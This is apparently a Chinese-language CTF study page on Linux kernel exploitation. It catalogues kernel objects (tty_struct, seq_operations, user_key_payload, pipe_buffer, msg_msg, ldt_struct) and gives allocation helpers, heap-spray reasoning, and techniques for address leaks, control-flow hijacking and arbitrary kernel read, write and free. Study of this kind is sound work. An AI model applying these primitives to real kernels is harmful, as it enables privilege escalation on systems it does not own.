难道不应该打__free_hook
吗
[toc]
能够利用的结构体 0x00. tty_struct (kmalloc-1k | GFP_KERNEL_ACCOUNT) 属性 总结
打开方式 打开/dev/ptmx
,但需要注意是否挂载了pts
,若没有挂载则无法打开
魔数 tty_struct
在结构体起始位置int magic
含有魔数0x5401
,可以方便我们搜索该结构体。
利用效果
结构体 位于include/linux/tty.h
,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 struct tty_struct { int magic; struct kref kref ; struct device *dev ; struct tty_driver *driver ; const struct tty_operations *ops ; int index; struct ld_semaphore ldisc_sem ; struct tty_ldisc *ldisc ; struct mutex atomic_write_lock ; struct mutex legacy_mutex ; struct mutex throttle_mutex ; struct rw_semaphore termios_rwsem ; struct mutex winsize_mutex ; struct ktermios termios , termios_locked ; char name[64 ]; unsigned long flags; int count; struct winsize winsize ; struct { spinlock_t lock; bool stopped; bool tco_stopped; unsigned long unused[0 ]; } __aligned(sizeof (unsigned long )) flow; struct { spinlock_t lock; struct pid *pgrp ; struct pid *session ; unsigned char pktstatus; bool packet; unsigned long unused[0 ]; } __aligned(sizeof (unsigned long )) ctrl; int hw_stopped; unsigned int receive_room; int flow_change; struct tty_struct *link ; struct fasync_struct *fasync ; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work ; void *disc_data; void *driver_data; spinlock_t files_lock; struct list_head tty_files ;#define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; struct work_struct SAK_work ; struct tty_port *port ; } __randomize_layout;struct tty_file_private { struct tty_struct *tty ; struct file *file ; struct list_head list ; };#define TTY_MAGIC 0x5401
其中含有一个函数表结构体,即tty_operations
,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 struct tty_operations { struct tty_struct * (*lookup )(struct tty_driver *driver , struct file *filp , int idx ); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); unsigned int (*write_room) (struct tty_struct *tty) ; unsigned int (*chars_in_buffer) (struct tty_struct *tty) ; int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set , unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); int (*get_serial)(struct tty_struct *tty, struct serial_struct *p); int (*set_serial)(struct tty_struct *tty, struct serial_struct *p); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);#ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch);#endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout;
利用 数据泄露 - 内核基地址 tty_operations
会被初始化为全局变量ptm_unix98_ops
或者pyt_unix98_ops
,而即使开启kaslr
,低三位不变。
因此可以通过该数值来获取内核基地址。在/proc/kallsyms
中也可以查看:
1 2 3 4 / ffffffff98083ca0 r ptm_unix98_ops / ffffffff98083b80 r pty_unix98_ops
数据泄露 - 堆地址 tty_struct
中的dev
与driver
是通过kmalloc
分配的,因此可以通过这两个成员泄露内核地址。
劫持程序控制流 劫持tty_operations
函数表即可,例如劫持其中的write
函数指针,即可通过write
系统调用时,设置tty_struct
的fd
即可调用劫持后的write
函数。
参数可控,第一个参数rdi
即为tty_struct
的地址。
0x01. seq_file (kmalloc-32 | GFP_KERNEL_ACCOUNT) 属性 总结
打开方式 以只读方式 打开文件/proc/self/stat
,申请得到的是seq_operations
结构体,注意不是 seq_file
魔数 无
利用效果
结构体 seq_file
会单独从seq_file_cache
分配,一般难以控制。其结构体为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct seq_file { char *buf; size_t size; size_t from; size_t count; size_t pad_until; loff_t index; loff_t read_pos; struct mutex lock ; const struct seq_operations *op ; int poll_event; const struct file *file ; void *private; };
而其中seq_operations
函数表结构体可以打开/proc/self/stat
来获取,其结构体为:
1 2 3 4 5 6 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
注意其中参数并不可控。
利用 数据泄露 - 泄露内核基地址 seq_operations
函数表中的第一个函数指针start
即为函数single_start
函数的地址,可以用于泄露内核基地址:
1 2 / ffffffffb6c4b160 T single_start
其实其余的同理,即single_stop
,single_next
,single_show
劫持程序控制流 覆盖seq_operations
函数表中的函数指针start
。
对该结构体调用read
,即可以触发seq_operations->start
控制程序执行流。
注意参数不可控,一般可能需要配合pt_regs
等结构体。
若需要调试,可以暂停到seq_read_iter
函数,其会调用seq_operations->start
0x02. user_key_payload (kmalloc-any, GFP_KERNEL) 属性 总结
打开方式 通过add_key()
系统调用为用户申请密钥时,会遵循如下流程来打开结构体:
从内核中分配obj1
和obj2
,分别用于保存description
和payload
。其中desciption
的大小为其内容长度,而payload
大小由我们设置的plen
指定。
再次分配obj3
和obj4
。obj3
和obj1
一模一样,并将obj1
内容复制到obj3
;obj4
和obj2
一模一样,并将obj4
内容复制到obj2
。
释放obj1
和obj2
,返回分配密钥的id
可以看到,无论是对于desctiption
还是payload
,它们**都会有一个临时的obj
**。此外,在我们利用时,我们最好将description
的值设置为和payload
大小以及别的结构体毫不相关,直接不考虑desciption
来简化利用过程。
如此一来,只考虑payload
的情况下,流程为:
申请大小为plen
的保存payload
的obj1
,其flag
为GFP_KERNEL
再次申请一个大小和类型都一样的obj2
,将obj1
复制到obj2
,并释放obj1
如此我们可以理清楚add_key
系统调用的流程。
不被卡住的方法 使用堆喷还是太麻烦了,有的时候我们希望直接将这个结构体像其他结构体那样用来直接使用.
实际上,临时的obj
和实际user_key_payload
的obj
申请的大小存在区别,可以利用该大小的区别来防止临时obj
卡住。具体来说,临时obj
申请的大小和传入的参数一样,而实际user_key_payload
申请的大小则是传入的值加上0x18
。
例如,我们通过需要申请一个kmalloc-0x200
的obj
,此时我们通过如下方式打开user_key_payload
:
1 key_alloc("whatever" , "ltfall" , 0xf0 );
此时,临时的obj
将会类似于如下方式申请内存:
而实际上user_key_payload
使用的obj
将会类似于如下方式申请内存:
此时,临时的obj
会从kmalloc-0x100
申请,而实际的user_key_payload
从kmalloc-0x200
申请。
魔数 无
利用效果
泄露内核基地址
泄露内核堆地址
通过越界读来读取地址
结构体 主要作为越界读这个利用方式的user_key_payload
的结构体如下所示:
1 2 3 4 5 struct user_key_payload { struct rcu_head rcu ; unsigned short datalen; char data[] __aligned(__alignof__(u64)); };
其中,struct rcu_head
结构体如下所示:
1 2 3 4 5 struct callback_head { struct callback_head *next ; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof (void *))));#define rcu_head callback_head
不难得知user_key_payload
的头部(即struct rcu_head
和datalen
)一共为0x18
字节。剩下的data[]
数组是保存payload
本身。
CTF板子 笔者直接用了arttnba3
师傅写好的模板,支持musl
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #define KEY_SPEC_PROCESS_KEYRING -2 #define KEYCTL_UPDATE 2 #define KEYCTL_REVOKE 3 #define KEYCTL_UNLINK 9 #define KEYCTL_READ 11 int key_alloc (char *description, void *payload, size_t plen) { return syscall(__NR_add_key, "user" , description, payload, plen, KEY_SPEC_PROCESS_KEYRING); }int key_update (int keyid, void *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen); }int key_read (int keyid, void *buffer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen); }int key_revoke (int keyid) { return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0 , 0 , 0 ); }int key_unlink (int keyid) { return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING); }
可以看到包装好了如下函数:
key_alloc
key_update
key_read
key_revoke
key_unlink
利用UAF配合user_key_payload过程 我们上面已经提到了user_key_payload
的分配方式。因此我们知道,user_key_payload
会先申请一个临时的obj
,因此,若我们通过题目功能UAF
释放掉一个obj
,那么打开user_key_payload
时,UAF
的obj
只会作为临时obj
来临时复制数据。因此,此时我们就可以考虑heap spray
这样的手法来确保可以分配到UAF obj
。当然,师傅需要已经了解slub
的分配和释放过程。
这里相对来说比较复杂,笔者尽量写得详细一些。先来个简略版:
通过题目功能申请一个obj
,然后释放,存在UAF
,此时题目UAF obj
位于kmem_cache_cpu
上
不断堆喷射user_key_payload
,UAF obj
总会作为临时obj
,完成后又回到kmem_cache_cpu
直到kmem_cache_cpu
被完全申请完毕。此时slub allocator
会从kmem_cache_node
的partial
中取出一个链表到kmem_cache_cpu
,此时UAF obj
仍然作为临时obj
,但释放后被放到kmem_cache_node
的full
中,并由此放到kmem_cache_node
的partial
中
继续不断堆喷射user_key_payload
,此时一直不会申请到UAF obj
,直到当前kmem_cache_cpu
完全耗尽
耗尽后,从kmem_cache_node
的partial
中取出一个链表。若此链表为UAF obj
的链表,则UAF obj
由于是第二个obj
,因此不再会作为临时obj
,而是作为真正的user_key_payload
。
上面笔者已经大概进行了阐述。比较抽象,对于笔者这样的初学者,笔者初次理解起来也是非常困难的。因此,我们下面直接以一个具体的例子,来看堆喷射是如何将UAF obj
作为user_key_payload
,而不是临时obj
的。
假设kmem_cache_cpu
此时有三个obj
,分别为a -> b -> c
。其中,a
为我们的UAF obj
申请一次user_key_payload
,a
作为临时obj
,而b
作为user_key_payload
分配。释放a
,此时kmem_cache_cpu
为a -> c
。
申请一次user_key_payload
,a
作为临时obj
,而c
作为user_key_payload
分配。释放a
,此时kmem_cache_cpu
仅剩a
。
申请一次user_key_payload
,a
作为临时obj
,此时需要再申请一个作为user_key_payload
,而kmem_cache_cpu
已经耗光,因此向kmem_cache_node
申请一条链表挂载到kmem_cache_cpu
,而原有链表被移动到kmem_cache_node
的full
上。设新链表上面有d -> e -> f
,那么取下d
作为user_key_payload
分配。释放a
,而a
属于的链表位于kmem_cache_node
的full
,因此将a
作为链表头,将该链表移动到kmem_cache_node
的partial
上。
申请一次user_key_payload
,e
作为临时obj
,f
作为user_key_payload
分配。释放e
,此时kmem_cache_cpu
仅剩e
。
申请一次user_key_payload
,e
作为临时obj
,此时需要再申请一个obj
作为user_key_payload
。此时,我们会从kmem_cache_node
的partial
链表中取下一条移动到kmem_cache_cpu
。若恰好我们取了a
所在的链表,而a
是该链表头,因此我们就会取下a
作为user_key_payload
。如此一来,我们终于分配user_key_payload
到了UAF obj
。
现在,我们就明确了通过堆喷射,来保证user_key_payload
分配到UAF obj
的方法了。
一般来说,喷射40
次足够我们拿到UAF
的obj
。
利用 数据泄露 - 泄露内核基地址 当通过key_revoke
来销毁密钥时,rcu->func
(可以查看上面的结构体)将会被赋值为user_free_payload_rcu
函数的地址,该函数地址和内核偏移固定,可以通过/proc/kallsyms
查看其地址,如下所示:
1 /# cat /proc/kallsyms | grep 'user_free_payload_rcu'
数据泄露 - 泄露堆地址 和刚刚提到的方法异曲同工,即通过rcu->next
来泄露堆地址
数据泄露 - 越界读(无需驱动提供read) 上面我们写了泄露内核基地址的方法。但该方法即使存在UAF
,也需要驱动本身提供一个read
功能,而若驱动本身提供了read
功能,那我们实际上也不是很需要用user_key_payload
来打了….
实际上user_key_payload
最主要的作用就是其存在读取自身payload
的功能,且其是根据结构体里的长度datalen
来读取的。若我们能够控制datalen
为一个大于其payload
长度的数字,即可实现越界读,若能够读到其它被释放的user_key_payload
结构体,即可获取到程序基地址。
总结流程:
修改user_key_payload
的datalen
调用keyctl_read
系统调用,来根据datalen
越界读数据
读到其他被释放的user_key_payload
,即可读到其中rcu->func
,泄露内核基地址
0x03. pipe_buffer(kmalloc-1k | GFP_KERNEL_ACCOUNT) 属性 总结
通过void pipe(int fd[])
函数来打开
同时打开pipe_inode_info
和pipe_buffer
两个结构体
需要注意的是需要写pipe_fd[1]
成功后才会初始化pipe_buffer
pipe_inode_info
的大小为kmalloc-192
,分配flag
为GFP_KERNEL_ACCOUNT
pipe_buffer
的大小为kmalloc-1k
(注意为1024
),分配flag
为GFP_KERNEL_ACCOUNT
打开方式 通过pipe
函数来打开一个管道即可创建pipe_inode_info
和pipe_buffer
两个结构体。
如下所示:
1 2 int pipe_fd[2 ]; pipe(pipe_fd);
要获得pipe_buffer
还需要往管道写数据:
1 2 3 4 5 6 7 int pipe_fd[2 ];if (pipe(pipe_fd) < 0 ){ err_exit("Failed to open pipe." ); }if (write(pipe_fd[1 ], temp, 0x8 ) < 0 ){ err_exit("Failed to write pipe." ); }
魔数 无
利用效果
劫持程序控制流
其rdi
和rsi
均可控,rdi
为struct pipe_inode_info
,rsi
为struct pipe_buffer
泄露内核基地址
结构体 打开管道时会创建两个结构体,其中之一为pipe_inode_info
( kmalloc-192 | GFP_KERNEL_ACCOUNT
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct pipe_inode_info { struct mutex mutex ; wait_queue_head_t rd_wait, wr_wait; unsigned int head; unsigned int tail; unsigned int max_usage; unsigned int ring_size;#ifdef CONFIG_WATCH_QUEUE bool note_loss;#endif unsigned int nr_accounted; unsigned int readers; unsigned int writers; unsigned int files; unsigned int r_counter; unsigned int w_counter; struct page *tmp_page ; struct fasync_struct *fasync_readers ; struct fasync_struct *fasync_writers ; struct pipe_buffer *bufs ; struct user_struct *user ;#ifdef CONFIG_WATCH_QUEUE struct watch_queue *watch_queue ;#endif };
与另一个结构体pipe_buffer
(为什么是kmalloc-1k
?因为实际上创建pipe
时会有诸多个该结构体):
( kmalloc-1k | GFP_KERNEL_ACCOUNT
)
1 2 3 4 5 6 7 struct pipe_buffer { struct page *page ; unsigned int offset, len; const struct pipe_buf_operations *ops ; unsigned int flags; unsigned long private; };
其中函数指针表pipe_buf_operations
为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 struct pipe_buf_operations { int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); void (*release)(struct pipe_inode_info *, struct pipe_buffer *); bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); };
利用 数据泄露 - 泄露内核基地址 pipe_buffer->pipe_buf_operations
指向全局函数表,可以通过该函数表的地址来泄露出内核基地址
数据泄露 - 泄露pipe_buffer地址 pipe_inode_info
中有一个指向struct pipe_buffer
的指针,可以通过该指针来获取申请到的pipe_buffer
的地址。即(pipe_inode_info[16])
。(注:只是通过user_key_payload
泄露时才是buf[16]
,具体还待笔者补充)
劫持程序控制流 劫持pipe_buffer
的函数指针表,覆盖里面的release
函数指针。
在调用close
关闭管道时,会调用pipe_buffer -> pipe_buffer_operations -> release()
其rdi
和rsi
均可控,rdi
为struct pipe_inode_info
,rsi
为struct pipe_buffer
。
(因此,或许可以利用gadget
将栈迁移到pipe_buffer
。或许可以push rsi; pop rsp
?)
调试时可以暂停到pipe_buf_release
。
1 2 3 4 5 pipe_release () put_pipe_info () free_pipe_info () pipe_buf_release () pipe_buffer->pipe_buf_operations->release ()
0x04. msg_msg (kmalloc-any | GFP_KERNEL_ACCOUNT) 属性 总结
几乎任意大小的对象分配,修改m_ts
达到越界读泄露数据。
详解 首先其结构如下所示:
上面左边第一个结构体为msg_msg
,其大小是我们指定的。若超过一页,则才会继续分配msg_msgseg
结构体。
在msg_msg
结构体中,前0x30
大小的为header
,是不包括在用户申请的大小的。其余每个字段的解释如下:
第一个为struct list_head m_list
,大小为0x10
。为一个msg_msg
的双向链表。该结构体中两个指针不能覆盖为非法地址,否则会发生错误。常见于通过msg_rev
时,未设置MSG_COPY
时,其会释放msg_msg
从而检查这两个字段。
第二个为m_type
,其表示消息种类,例如我们发送消息时将其设置为1
,则接受时也需要设置为1
。可以任意指定,但不能设置为0
,笔者暂不清楚原因,只是自己尝试的时候发现设置为0
时会报错。
第三个为m_ts
,表示消息的大小。注意,该大小不包括header
的大小。将该值改大,即可越界读数据来泄露地址。很显然,若next
指针为NULL
,那么该值最大为0x1000 - 0x30
。
第四个为struct msg_msgseg* next
,指向同一个消息剩下的部分,即为struct msg_msgseg
。将该指针劫持为任意地址,可以有两个用法:1. 通过msg_recv
设置MSG_COPY
,可以任意地址读;2. 通过msg_recv
不设置MSG_COPY
,可以任意地址释放。 但任意地址释放又要注意,需要指针指向的地方为NULL
才可以。此外,也需要该msg_msgset
为0x1000
的完整obj
才可以。
第五个为void* security
,同样知道不能覆盖即可。
使用MSG_COPY
标志位时需要注意:1. 使用MSG_COPY
时的msgrcv
需要保证读取的字节数完全等于(实际上小于等于即可,但明显我们需要等于)此时的m_ts
,否则会报错;2. 使用MSG_COPY
时的msgrcv
中的第四个参数m_type
和平常不同,其表示按顺序的第几个消息,而不是像以前那样按序号。
在分配、读取、释放对象之前,我们需要先获得一个消息的id
,用于标识msg
:
1 2 3 4 5 int get_msg_queue (void ) { return msgget(IPC_PRIVATE, 0666 | IPC_CREAT); }
我们通过发送消息,来进行对象的分配,如下所示:
值得注意的是,分配后的整个obj
的大小为我们申请的大小加上header=0x30
。
1 2 3 4 5 6 7 8 9 10 11 12 int write_msg (int msqid, void *msgp, size_t msgsz, long msgtyp) { ((struct msgbuf*)msgp)->mtype = msgtyp; return msgsnd(msqid, msgp, msgsz, 0 ); }
对于接受消息(读取内容),根据设置的flag
不同,有两种接受策略,一是设置MSG_COPY
字段,其单纯查看消息。二是不设置MSG_COPY
字段,其会接受消息后,销毁原有消息。封装后如下所示。
仅仅接受消息,不销毁:
1 2 3 4 5 6 7 8 9 10 11 12 int peek_msg (int msqid, void *msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR); }
接受消息,并释放(kfree
):
1 2 3 4 5 6 7 8 9 10 11 int read_msg (int msqid, void *msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz, msgtyp, 0 ); }
结构体补充 首先是msg_queue
,对于每一个msgget
都有一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 struct msg_queue { struct kern_ipc_perm q_perm ; time64_t q_stime; time64_t q_rtime; time64_t q_ctime; unsigned long q_cbytes; unsigned long q_qnum; unsigned long q_qbytes; struct pid *q_lspid ; struct pid *q_lrpid ; struct list_head q_messages ; struct list_head q_receivers ; struct list_head q_senders ; } __randomize_layout;
此外是msg_msg
:
1 2 3 4 5 6 7 8 9 struct msg_msg { struct list_head m_list ; long m_type; size_t m_ts; struct msg_msgseg *next ; void *security; };
以及:
1 2 3 4 struct list_head { struct msg_msg * next ; struct msg_msg * prev ; }
0x04. msg_msg (kmalloc-any | GFP_KERNEL_ACCOUNT) 总结
修改m_ts
字段进行越界读写
使用msgsnd
进行申请,使用msgrcv
进行释放
使用带有MSG_COPY
字段的msgrcv
时,可以不释放并且读取消息内容
修改next
指针可以完成任意地址释放
结合userfaultfd
可以完成任意地址写
结构体 & 图示
msg_msg
结构体定义如下:
1 2 3 4 5 6 7 8 9 struct msg_msg { struct list_head m_list ; long m_type; size_t m_ts; struct msg_msgseg *next ; void *security; };
其中每个字段含义如下:
m_list
。指向同一个msg_id
的其他msg_msg
结构体。每次msg_snd
都会产生不同的msg_msg
结构体。最需要注意的是,msgrcv
调用时,若不带有MSG_COPY
的flag
,会校验m_list
是否合法。 只需要是合法地址就行,平时将其写为一个其他堆地址也没出错。
m_type
。即为msg
的类型。一般设置为>0
的数字。msgsnd
和msgrcv
中,若设置为大于0
的数字则需要相等,表示某一条msg
。特别的,当msgrcv
中带有MSG_COPY
的标志位时,该m_type
不再表示某一条信息,而是按顺序FIFO
的第m_type
条信息。
m_ts
。即表示该条msg
的长度,注意是不带header
的。 覆盖该值为大值,可以实现越界读。
next
。若msg
的长度大于0x1000-0x30
,则会连接一个struct msg_msgseg
,next
指向其连接的msg_msgseg
。对于msg_msgseg
,其若为最后一条,则必须为NULL
。 否则在msgrcv
的时候会报错。
其中struct list_head
和msg_queue
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 struct list_head { struct msg_msg * next ; struct msg_msg * prev ; }struct msg_queue { struct kern_ipc_perm q_perm ; time64_t q_stime; time64_t q_rtime; time64_t q_ctime; unsigned long q_cbytes; unsigned long q_qnum; unsigned long q_qbytes; struct pid *q_lspid ; struct pid *q_lrpid ; struct list_head q_messages ; struct list_head q_receivers ; struct list_head q_senders ; } __randomize_layout;
CTF板子 准备工作 一切之前,需要先建立建立队列:
1 2 3 4 5 6 7 struct msg_buf { size_t m_type; size_t buf[1 ]; }int msg_id = msgget(IPC_PRIVATE, IPC_CREAT | 0666 );
申请 申请msg_msg
结构体的方法如下所示:
1 2 3 4 5 6 7 8 9 10 struct msg_buf * msg = (struct msg_buf*)malloc (0x100 ); msg->m_type = 1 ; msg->buf[0 ] = 0xdeadbeaf ; if (msgsnd(msg_id, msg, 0x1000 -0x30 + 0x1000 -8 , 0 ) < 0 ){ error("Failed to send msg." ); exit (0 ); }
释放 释放如下所示:
1 2 3 4 5 6 7 8 char buffer[0x100 ];int res = msgrcv(msg_id, buffer, 0x1000 -0x30 + 0x1000 -8 , 0 );if (res < 0 ){ error("Failed to recv msg." ); exit (0 ); }
释放会使得msg_msg
和对应的msg_msgseg
被释放。释放时,会检查m_list
的两个指针是否合法。
注意,m_ts
需要严格相等,当大于实际长度时无法获得和释放消息。
此外,若同一个msg_id
有多条消息,则每次释放一条,按照FIFO
的顺序依次释放。
读取但不释放 使用带有MSG_COPY
参数的msgrcv
时,即可使得其不释放msg_msg
等结构体,并读取内容。注意,此时m_type
不再表示消息类型,而是表示第i
条消息。
1 2 3 4 5 6 7 8 char buffer[0x100 ];int res = msgrcv(msg_id, buffer, 0x1000 -0x30 + 0x1000 -8 , MSG_COPY | MSG_NOERROR | IPC_PRIVATE);if (res < 0 ){ error("Failed to recv msg." ); exit (0 ); }
结合userfaultfd进行任意地址写 若我们传入的m_ts
大于0x1000 - 0x30
,则会申请新的msg_msgseg
来存储新的内容。
该部分代码位于load_msg
,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 struct msg_msg *load_msg (const void __user *src, size_t len) { struct msg_msg *msg ; struct msg_msgseg *seg ; int err = -EFAULT; size_t alen; msg = alloc_msg(len); if (msg == NULL ) return ERR_PTR(-ENOMEM); alen = min(len, DATALEN_MSG); if (copy_from_user(msg + 1 , src, alen)) goto out_err; for (seg = msg->next; seg != NULL ; seg = seg->next) { len -= alen; src = (char __user *)src + alen; alen = min(len, DATALEN_SEG); if (copy_from_user(seg + 1 , src, alen)) goto out_err; } err = security_msg_msg_alloc(msg); if (err) goto out_err; return msg; out_err: free_msg(msg); return ERR_PTR(err); }static struct msg_msg *alloc_msg (size_t len) { struct msg_msg *msg ; struct msg_msgseg **pseg ; size_t alen; alen = min(len, DATALEN_MSG); msg = kmem_buckets_alloc(msg_buckets, sizeof (*msg) + alen, GFP_KERNEL); if (msg == NULL ) return NULL ; msg->next = NULL ; msg->security = NULL ; len -= alen; pseg = &msg->next; while (len > 0 ) { struct msg_msgseg *seg ; cond_resched(); alen = min(len, DATALEN_SEG); seg = kmalloc(sizeof (*seg) + alen, GFP_KERNEL_ACCOUNT); if (seg == NULL ) goto out_err; *pseg = seg; seg->next = NULL ; pseg = &seg->next; len -= alen; } return msg; out_err: free_msg(msg); return NULL ; }
从上面可以看到,在load_msg
函数中,其会先计算大小,并建立好msg_msg
和msg_msgseg
结构体,随后再调用两次copy_from_user
来将数据从用户态拷贝到内核态:先调用copy_from_user
拷贝msg_msg
结构体部分,再循环调用copy_from_user
拷贝msg_msgseg
结构体部分。这意味着,我们可以利用userfaultfd
,在msg_msg
的最后部分将其卡住。此后,若我们能修改msg_msg
的next
指针,当userfaultfd
恢复后,就可以往我们指定的next
指针处写任意值。
这部分图示见msg_msg
专题。
任意地址释放 在调用msgrcv
且不带有MSG_COPY
标志位时,将会释放msg_msg
及其连接的msg_msgseg
结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void free_msg (struct msg_msg *msg) { struct msg_msgseg *seg ; security_msg_msg_free(msg); seg = msg->next; kfree(msg); while (seg != NULL ) { struct msg_msgseg *tmp = seg->next; cond_resched(); kfree(seg); seg = tmp; } }
若我们能够劫持next
指针,则会释放与其连接的obj
。注意,需要保证该obj
的前8
位为NULL
才可以。
此外,在任意地址释放时,无序修改我们劫持的msg_msg
的m_ts
字段。如上所示,其释放时并没有对该字段进行检查。因此,在任意地址释放时,修改其next
指针即可,无序修改m_ts
字段,即使其为很小的数例如0x10
。
0x05. ldt_struct (kmalloc-16(slub)/kmalloc-32(slab) | GFP_KERNEL) 该结构体相关的系统调用类似一个菜单,因此我们没有按照统一的方式来进行编写
其主要的作用是:
通过修改ldt->entries
,配合read_ldt
进行任意地址读
绕过harden usercopy
,可以通过fork
创建子进程并通过子进程来read_ldt
结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 struct ldt_struct { struct desc_struct *entries ; unsigned int nr_entries; int slot; };
系统调用 通过一个叫做modify_ldt
的系统调用来进行,该系统调用的源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsigned long , bytecount) { int ret = -ENOSYS; switch (func) { case 0 : ret = read_ldt(ptr, bytecount); break ; case 1 : ret = write_ldt(ptr, bytecount, 1 ); break ; case 2 : ret = read_default_ldt(ptr, bytecount); break ; case 0x11 : ret = write_ldt(ptr, bytecount, 0 ); break ; } return (unsigned int )ret; }
其中,我们常用到read_ldt
和write_ldt
两种系统调用,用户需要传递三个参数,分别为func
函数、ptr
指向struct user_desc
的指针,和bytecount
。
其调用方法常常如下:
read_ldt
:
1 syscall(SYS_modify_ldt, 0 , (struct user_desc*)&strct, bytecount);
write_ldt
:
1 syscall(SYS_modify_ldt, 1 , (struct user_desc*)&strct, sizeof (strct));
read_ldt 主要存在如下逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 static int read_ldt (void __user *ptr, unsigned long bytecount) { if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) { retval = -EFAULT; goto out_unlock; } out_unlock: up_read(&mm->context.ldt_usr_sem); return retval; }
可以看到其使用copy_to_user
向用户的user_desc
结构体拷贝了数据。因此,若能够控制ldt->entries
,相当于实现了内核任意地址读。
另一方面,在ldt_struct
结构体的中的entries
指针也位于第一个字段,控制起来也比较方便。
需要注意的是使用时需要注意desc
的编写,具体值可以参照下面的数据泄露模板中的值。
write_ldt 其会使用alloc_ldt_struct()
函数来分配一个新的ldt_struct
,并将其应用到进程,其主要逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 static struct ldt_struct *alloc_ldt_struct (unsigned int num_entries) { struct ldt_struct *new_ldt ; unsigned int alloc_size; if (num_entries > LDT_ENTRIES) return NULL ; new_ldt = kmalloc(sizeof (struct ldt_struct), GFP_KERNEL);
可以看到其会直接分配一个GFP_KERNEL
的obj
。
通过read_ldt
和write_ldt
,不难想到在UAF
时可以配合实现内核任意地址读。
绕过hardened usercopy 只需要通过fork
创建子进程,然后使用子进程来read_ldt
就可以。
笔者这里其实不太清楚绕过该保护的细节:虽然在fork
时,会将父进程的ldt
拷贝给子进程,该阶段完全处于内核态,不会被检测到;但子进程仍然需要调用read_ldt
来从内核态将数据拷贝到用户态不是吗?为什么这里绕过了笔者还不太清楚。
数据泄露模板 来自arttnba3
师傅:
